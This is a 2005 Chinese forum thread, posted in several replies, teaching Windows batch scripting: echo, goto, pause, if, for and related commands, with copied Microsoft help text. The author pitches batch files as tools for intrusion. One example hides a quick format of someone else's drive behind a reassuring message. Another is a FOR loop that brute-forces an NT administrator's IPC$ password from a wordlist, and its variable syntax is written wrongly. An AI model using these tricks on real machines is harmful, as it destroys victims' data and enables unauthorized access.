授课时间:2005年12月4日
批处理:批处理有也有些人称为批处理脚本,也有说成为批处理程序的。英文是batch 。我们现在的批处理文件后缀就是取其单词的前三个字母 *.bat,或者 *.cmd 。 一行可视为一个命令。每行命令里可以以包含多条子命令。从第一行开始到最后一行结束。(整体是这样的,如果中间加如如if ;for之类的循环 条件之类的除外)。基于批处理的平台是DOS系统。全名是磁盘操作系统disk operation system 。不过批处理(DOS命令)在入侵过程中用处还是很多的,DOS系统有一个好处: 速度快,不留痕迹。而且用多了会觉得比WIN下面的鼠标点的要爽。
现在进入批处理的正题。
.bat跟.cmd后缀运行的效果都是一样的.两种不同的后缀而已. 命令行在XP (NT之上的都是叫cmd调出.在win98类的系统都是以command调出. 现在谈下关系批处理的功能. 在入侵中,在实际操作中都有非常重要的作用. 先说下在入侵中...相信大家都见过这么一句代码:net use \ip\ipc$ "password" /u:"administrator"。如果把他转化成批量管理,或者破解的话,用批处理命令来解决怎么办? 下面我们将讲到这个. 还有实际应用中,比如说网吧的应用系统。自动备份功能,用批处理来解决的话也会更方便。 好了,功能及应用就说到这里,我们开始讲关于批处理的命令如何写。
一echo 命令
可以说这是一句回显开关命令. 大家可以在自己的CMD下试试 echo /? 帮助文件是如何的 。我想问,如果知道用户名和密码,用批处理能编个开IPC$的软件吗?(在本机上运行的)。你再输入echo off ,就关闭了回显了. 这个命令基本上只是显示后面的提示而建立的,比如你输入一个命令行 @echo Just me is a good guy 。屏幕就会显示Just me is a good guy。这条命令基本上的功能就是这样.
二 .@命令.
这条命令的作用于是不显示@后面的命令. 例如:书上的例子:@echo Now initializing the program,please wait a minite... 。如果你输入 @format x:/q/u/autoset 这个作用就大了{格式化}。大家注意后面的autoset。以前在98之前的时候都用/y来试用的。现在NT以后禁了Y参数,不过这个autoset是可以了.效果一样. @format X: /q/u/autoset 这句命令的作用主要告诉大家的是,如果在别人的屏幕上不显示正在快速格式化他他的硬盘. 如果在前面再加上一句 @echo please wait a minite... 。再说一些诱域性的话,也就没人怀疑你在做坏事了. 这条命令基本上就是这样了.
三 goto
这条命令跟C语言里的Goto好像差不多. 你新建一个文本文档。再把这个新建文本文档的后缀.txt改成.bat。如果想要编辑你的这个批处理的话就右键单击,编辑. 好了.我们继续讲Goto命令. 看过C基础的一定知道书上有个例子是
....
:loop
....
go to loop;
很简单的一个命令,意思就是跳动到哪句去执行的意思. 这个loop是标签的意思.前面一定要加上 " : "号 。也就是两个点。这条语句的基本作用就是这样了,例子在后面举出来.
四rem语言句.
rem命令。这个相对来说就比较简单了,意思就是注释性的.相当于C里面的\\ /* ....*/ 。ASP文件里面的 -...-意思就是注释的意思。不起任何执行命令的作用不着. 不起任何执行命令的作用。@rem i'm a great man 。嘿嘿.牛B下. :P
[此贴子已经被封____了于2005-12-4 22:36:19编辑过]
叫我宝宝就可以了!2005-12-4 22:18:02举报帖子
宝汽X
等级:新手上路
文章:19
积分:219
门派:无门无派
注册:2005年11月26日第 2 楼
--------------------------------------------------------------------------------
五.pause命令
这条命令的作用就比较大了.也比较好懂.
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
这个批处理文件就含比较多的内容了. 好了.我来讲下这条命令.
@echo off是关闭回显的意思
begin 在这里是做标签的意思.
echo Please put a new disk into driver A 。这条语句是显示Please put a new disk into driver A
pause命令是等待用户键入任意建
goto begin 重新开始一次. 就是输入任意建以后再跳转到begin copy a:*.* d:\back
这个批处理的作用是一张一张的复制软盘.
Pause命令本身就是这个提示.不用你去写一条显示类似的语句. 你输入pause就会显示,请键入任意键继续。如果是英文操作系统会出现; prest any key to continue
再讲批处理的一个特性:
批处理调用内部或者外部命令之后就不再去管他了,不管他是不是在进行.也不管他是否进行结束。如果你复制一张软盘的话就得自己把握时间. 如果你再用这条命令的话,他会继续copy这张软盘 。
六.call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。父批处理程序就是指写有call命令的批处理程序。这条语言要求自身理解的. 多看别人写的批处理程序也基本上可以明白.
七.start命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。关于这条命令的解释有一条重要的规则:执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
如果你直接在命令提示框里面输入start会再弹出一个同样的窗口 。也就是说默认调用的是DOS窗口 。所以...你为了在某个文件夹里面调用cmd. 可以建bat文件里面写入cmd也可以写入start都是一个效果.
八.choice 命令
这条命令如果单独写在cmd里面是不行的.
这条命令的简介: 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
choice /c:dme defrag,mem,end 。大家看下这条命令的效果 {注:choice在NT里面已经不支持了. }98的操作系统.或者磁盘操作系统.可以在百度或者哪里找choice的资料. 开始讲比较严肃的东西了.这两条命令比较重要
九.If 命令
if 条件 待执行的命令
if =={%1} goto noparms
goto 批处理文件运行到这里将跳到goto 所指定的标号处, 一般与if配合使用。
noparms只是一个标签.
这三个好好看到.多看几遍
if goto choice for 是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
2、if exist 文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。如if exist config.sys edit config.sys
3、if errorlevel 数字 待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。如if errorlevel 2 goto x2 DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码
再说下标号 ":" 标号用 :字符串 表示,标号所在行不被执行
十.for命令
for 命令比较复杂.使用起来只能多看,多练,多分析才能懂里面的东西。
基本格式: FOR [%%f] in (集合) DO [命令] 跟C不一样
%%f 就是 设置 意思.这里的设置范围是有限度的。这个范围就是里面的集合里面
如果一条批处理文件中有一行:
for %%c in (*.bat *.txt) do type %%c
tpye就是DOS命令,是显示文件内容的意思
*下面for 的官方帮助.* 转第三部分
叫我宝宝就可以了!2005-12-4 22:27:13举报帖子
宝汽X
等级:新手上路
文章:19
积分:219
门派:无门无派
注册:2005年11月26日第 3 楼
--------------------------------------------------------------------------------
接第二部分
for in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以 [drive:]path 为根的目录树,指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
取得第二个符号,引用 %j 来取得第三个符号,引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号,只要不试图说明一个高于字母 z 或
Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
用单引号将括号之间的 filenameset 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
内存,并被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:
~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。
(我在这里说下看书的方法: 看理论性的东西最好不要错过每一句话,每一个字眼.特别是权威的书籍要求不要跳过任何一个不懂的问题. 如果只是实践性的,可以跳过一些知识点,进行下一节的学习. 像MS的官方帮助相当实用,希望大家看的字母争取都能懂一些 )
在批处理文件中使用 FOR 命令时,指定变量使用 %%variable
再继续讲一些 for的实例用法
利用FOR暴力破解一台NT的机器.
如果猜中他的管理员帐号是administrator
我的IPC连接命令
net use \\ip\ipc$ ""/user:""
只要小小的改动几条命令
for /f i% in (welldo.txt) do net use \ip\ipc$ "i%" /u:"administrator"
然后在这个welldo.txt文件里面列举可能有产生的密码
完
叫我宝宝就可以了!2005-12-4 22:27:49举报帖子
宝汽X
等级:新手上路
文章:19
积分:219
门派:无门无派
注册:2005年11月26日第 4 楼
--------------------------------------------------------------------------------
在多次调用start命令后,会产生几个文件,请问怎么修改这急个文件的存放位置啊!{注:我调用的是私服启动文件}
叫我宝宝就可以了!2005-12-5 16:18:08举报帖子
Vikas
等级:新手上路
文章:4
积分:55
门派:无门无派
注册:2005年10月9日第 5 楼
--------------------------------------------------------------------------------
看看我的系统更新的BAT:
@ECHO OFF
CLS
prompt [webmaster@endsec.com]☆☆
title 登哥专用版
color 07
@echo on
PAUSE
start F:\DESK\系统更新包\Upgrade17.55.40.exe
start F:\DESK\系统更新包\tt2.21.exe
call F:\DESK\系统更新包\fav2c.bat
start C:\163.lnk
Copy F:\Sec\个性化\声音\Windows XP 关机.wav C:\WINDOWS\Media\Windows XP 关机.wav
Copy F:\Sec\个性化\声音\Windows XP 启动.wav C:\WINDOWS\Media\Windows XP 启动.wav
评论